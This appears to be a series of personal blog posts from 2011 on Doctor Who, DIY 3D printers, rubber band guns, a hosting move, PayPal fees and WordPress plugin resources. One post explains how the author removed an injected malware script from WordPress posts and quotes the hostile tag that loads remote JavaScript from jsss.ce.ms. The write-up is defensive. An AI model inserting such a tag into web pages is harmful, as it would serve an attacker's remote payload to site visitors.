T Minus 48 Minutes… Plus another two hours

In 48 minutes the second half of Doctor Who Series 6 begins.  I’m pretty excited about this.  In any case, it will start recording from BBC America at 6pm PST12 , but I won’t be able to start watching it until my daughter goes to bed in another two hours.

I’ve waited a few months, I can wait another few hours.  And, this way I won’t have to watch commercials…

  1. As opposed to 9pm MST []
  2. MakerBot Standard Time []
August 27, 2011 | Comments Closed

Have you turned your MakerBot or RepRap into a robo-cutter?

I’m curious – has anyone out there retrofitted their MakerBot Cupcake CNC, MakerBot Thing-O-Matic, or RepRap1 with a cutting device?  I recall seeing an example of someone creating a laser cutter, but I was particularly interested in whether someone had made a cutting device using a blade.

If so, what kinds of blades did you use?  Did you create your own?  Did you use off-the-shelf replacement parts for a commercial robo-cutter?

  1. Or other DIY 3D printer, for that matter []
| Comments Closed

Amazing Rubber Band Guns

I was just floored by this recent post to the Make blog.  This is the most amazing rubber band gun I’ve ever seen in my life. 1  It genuinely looks like a P90 from Stargate SG-1, including the way in which ammunition is loaded. 2  Even if weren’t for how realistic it looks, the mechanism is still fantastic.  It apparently has a single shot/semi-automatic and fully automatic mode.  Here’s what I can’t believe – that the creator of this magnificent toy thought it necessary to obscure their face in the video.  I would be proud to call this my own.

Since I’m on the topic, this next rubber band gun is also pretty cool.

The websites for the first gun is in Japanese, but the Google translation is pretty decent.  The cut-away pictures show most of how the device works.  Just as a head’s up, the way WordPress handles gallery photos puts all of these pictures into a single gallery even though I uploaded them at different times.  The second gun appears to hold 8 shots and will “auto-return” the gun to its starting position.  Although there are a few pictures of the piece from various angles, I don’t really understand how the auto-return mechanism works.  If you’ve got an idea, I would appreciate your insight.

  1. Link to the video, if you’re tuning in via the RSS feed []
  2. It holds 50 rubber bands! []

Is this wrong?

While I just had a birthday, I’m actually much more excited about the second half of Season Six of Doctor Who starting up this coming weekend.

Yarr!!! I’m BACK, baby!

The blog?  BACK.

ProfileMaker?  Also BACK by overwhelming popular demand!

New host?  CHECK!!!

As far as I can tell, there are three major drawbacks.  First, the amount of work involved in changing hosts.  That’s a serious freaking pain.  MySQL DB’s, files, and e-mails, oh my.  Second, this theme isn’t working as well as it once did – so the blue lego in the top left corner is gone.  (For now).  Third, there’s still a little weirdness on the admin side of this blog – but don’t you worry, I’ll keep you from ever noticing!

Well, sure, THAT could be a problem…

I just found 1.3GB PHP “error_log” file in MakerBlock.com.  Yeah, I suppose THAT could be contributing to the problem…

August 13, 2011 | Comments Closed

Growing pains

Okay, that’s it.  I’ve had it.  I’m moving hosting companies.

This is the first site I’m moving – and you can be assured I’ll be bringing back ProfileMaker first thing!

Wish me luck!!!

How to clean an “jsss.ce.ms” SQL injection

Well, that was exciting.  Apparently my website had been attached by some kind of SQL injection.  I was curious if my self-hosted WordPress website had been attacked like 4,300 others.  After some digging around, I found that this was not the case.  A scan by UnmaskParasites.com revealed nothing unusual.  However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.

I say “some” posts.  By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011.  Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:

<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>

Here’s what I did to clean this infection:

  • Copy my entire “_posts”  to “_posts2”
  • Copy my entire “_posts” to “_posts3”
  • Downloaded “_posts3” as a CSV
  • Find and replace all instances of the above script in the CSV with “”
  • Deleted the contents of “_posts3”
  • Uploaded the altered CSV into “_posts3”
  • Renamed “_posts” to “_posts1” and “_posts3” to “_posts”
  • Done!

It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy.  If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.

PayPal payments and micropayments

So, PayPal has a micropayment system as well as a regular payment system.  The micropayment fee is 5% + $0.05 while the normal fee is 2.9% + $0.30.  For payments below $12.00, it makes sense to use the micropayments system and the normal system above that level.

Here’s the rub – you can only set up your PayPal account for one or the other.  I’m working on a WordPress PayPal plugin, but I’d like to have that plugin work with micropayments without forcing all of my other PayPal transactions to go through that fee structure.  Oh well.

August 8, 2011 | Comments Closed

WordPress Plugin Writing Resources

WordPress is easily my favorite open source software project.  I love it for it’s functionality, flexibility, and extensibility.  When it comes to writing a plugin, these are my favorite resources.  Don’t write a plugin without them!

  1. WordPress.org Codex for Writing a Plugin
    1. If you’re just getting started, this is the place to begin
  2. WordPress.org Codex Plugin API
    1. a great overview of the WordPress plugin API
  3. WordPress Action Reference
    • When WordPress displays a post, page, or the administrative pages it has to run through a number of functions and actions.  Your plugin will need to be activated at one of these points, and it is very helpful to know the order in which things happen.
  4. WordPress Filter Reference
    • The WordPress filter reference is a list of WordPress filters.  Each one will be able to deliver a little piece of the website for your to manipulate in your plugins.
  5. WordPress PHP Cross-Reference
    • The WordPress codex is pretty good – but it is not comprehensive.  If you want to know how some of the more obscure functions, variables, or constants work, you’ll just need to dive into the source code itself.  PHPXRef is, hands down, the best way to do this.  It let’s you search and read the the source code from their website.
  6. Top 10 Most Common Coding Mistakes in WordPress Plugins
    • This is quite possibly the best blog post about writing WordPress plugins.  Applying these guidelines will make you a better WordPress developer and your plugins faster, more efficient, and more awesome. :)
  7. How to Design and Style Your WordPress Plugin Admin Panel
    • In a lot of ways, a program is only as good as its user interface.  Build a good friendly and powerful interface and people will use your program.  Build a bad one and no one will use it, no matter how awesome it is.  This one blog post gives numerous little ways to make your WordPress plugin administrative interface look better.
August 7, 2011 | Comments Closed